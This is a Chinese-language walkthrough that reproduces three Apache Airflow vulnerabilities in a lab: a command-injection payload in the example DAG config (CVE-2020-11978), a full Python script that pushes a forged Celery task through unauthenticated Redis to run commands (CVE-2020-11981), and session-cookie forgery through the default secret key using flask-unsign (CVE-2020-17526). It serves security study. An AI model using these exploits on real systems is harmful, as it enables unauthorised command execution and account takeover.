目录
[Apache Airflow是什么](#Apache Airflow是什么)
[CVE-2020-11978(Airflow 示例dag中的命令注入)](#CVE-2020-11978(Airflow 示例dag中的命令注入))
[CVE-2020-11981(Airflow Celery消息中间件命令执行)](#CVE-2020-11981(Airflow Celery消息中间件命令执行))
[CVE-2020-17526(Airflow 默认密钥导致的权限绕过)](#CVE-2020-17526(Airflow 默认密钥导致的权限绕过))
Apache Airflow是什么
Airflow是一个以编程方式编写,安排和监视工作流的平台。
使用Airflow将工作流编写任务的有向无环图(DAG),Airflow计划程序在遵循指定的依赖项,同时在一组工作线程上执行任务。丰富的命令使用程序使在DAG上执行复杂的调度变得轻而易举。可通过用户界面查看正在运行的管道,查看进度与排除故障。
CVE-2020-11978(Airflow 示例dag中的命令注入)
漏洞成因:管理web页面里面示例dag存在命令注入。
版本要求:Airflow < 1.10.10
步骤1:访问Airflow管理页面,启动example_trigger_target_dag。

编辑Configuration JSON中注入命令{"message":"'\";touch /tmp/airflow_dag_success;#"},点击提交

命令注入后需等待工作流执行成功。

步骤2:执行成功后查看是否成功执行

CVE-2020-11981(Airflow Celery消息中间件命令执行)
漏洞成因:利用中间件Celery自带的默认消息队列,在Redis里该list的默认队列名airflow.executors.celery_executor.execute_command,通过Redis未授权访问,写入命令到该任务。
版本要求:Apache Airflow < 1.10.10
Celery < 4.0
airflow.executors.celery_executor.execute_command是Apache Airflow中中间件Celery中关键的任务函数,功能是负责将任务分发给Celery worker节点执行,通过数组形式传递执行的命令及参数。
执行流程如下:
- 接受命令和参数的数据作为输入[100,200],['touch','/tmp/file']
- 通过Celery中间件(Redis/RabbitMQ)将任务序列化传输
- Worker节点反序列化后调用系统接口执行命令
步骤1:该漏洞主要控制Redis未授权来将命令注入Celery中间件的任务队列中
利用脚本exploit_airflow_celery.py来完成操作
python
import pickle
import json
import base64
import redis
import sys
r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0)
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
task_dict = json.loads(ori_str)
command = ['touch', '/tmp/airflow_celery_success']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))
分析该脚本执行的操作:
- 建立Redis连接,使用第一个参数作为连接地址
- 定义原始字符串ori_str,该字符串是按celery元数据格式编写
- 将原始字符串ori_str转换解析为字典格式,json.loads操作是将json字符串转换成Python中的字典对象
- 建立命令数组command,这是关键部分,其中定义了要执行的命令
- 建立了新的主题内容body,包含了主体body和其他参数,其他参数为空
- 将新的body进行了base64编码并替换了原本task_dict中的body主体
- 最后将制作好的task_dict序列化后推送到Redis的任务队列中
总结来说就是
- 连接Redis
- 修改celery的任务的内容
- 重新推送任务,等待执行
安装Redis,运行脚本修改任务

步骤2:查看执行结果
docker-compose logs airflow-worker
看里面关键信息,在那个节点执行了该操作,这里是在容器2d569bda7480中
进去看
成功执行
CVE-2020-17526(Airflow 默认密钥导致的权限绕过)
漏洞成因:默认无需密钥登录,但是管理员可以通过指定webserver.authenticate=Ture来开启认证。在版本1.10.13之前,即使开启密钥认证,也可以通过默认密钥来绕过登录,并且伪造任意用户身份。
版本要求:Apache Aieflow < 1.10.13
Airflow有一个基于Flask(基于Python编写的轻量级web框架)开发web应用程序,该web程序使用Flask的无状态签名cookie来储存和管理身份验证信息。在安装时可以使用Airflow创建用户,该用户是管理员身份。
使用了默认的静态安全密钥对用户身份验证信息进行了签名,导致安全配置错误。当用户登录时,会产生一个默认的cookie,该cookie的名称为session。其中包含json格式的用户认证信息。json中名为user_id的密钥标识了登录的用户身份。该json使用airflow.cfg配置文件中字符串进行签名,该字符串在1.10.15到2.0.2版本之前,这个字符串默认是temporary_key。
静态字符签名问题,在本地部署相同版本的airflow,以管理员身份登录抓包,然后将地址定向到被攻击主机,拥有管理员权限后,可以查看其他用户的json字符串,也就是身份验证信息,抓取拿到本地破解就可以登录任意用户了。
步骤1:先获取名为session的cookie
使用curl的-v选项会显示请求和响应头

步骤2:使用flask-unsign来破解签名使用的secret_key
flask-unsign
- -c选项,无论是加密,解密,修改都要通过该选项提供数据
- -u,解密被加密的cookie
- -s,指定签名操作,并且需要传递一个用于签名的secret_key
步骤3:破解出secret_key后,冒用管理员身份制作一个新的session(这是客户端登录的cookie,只是名称叫session)

步骤4:替换生成的cookie,尝试登录
成功登录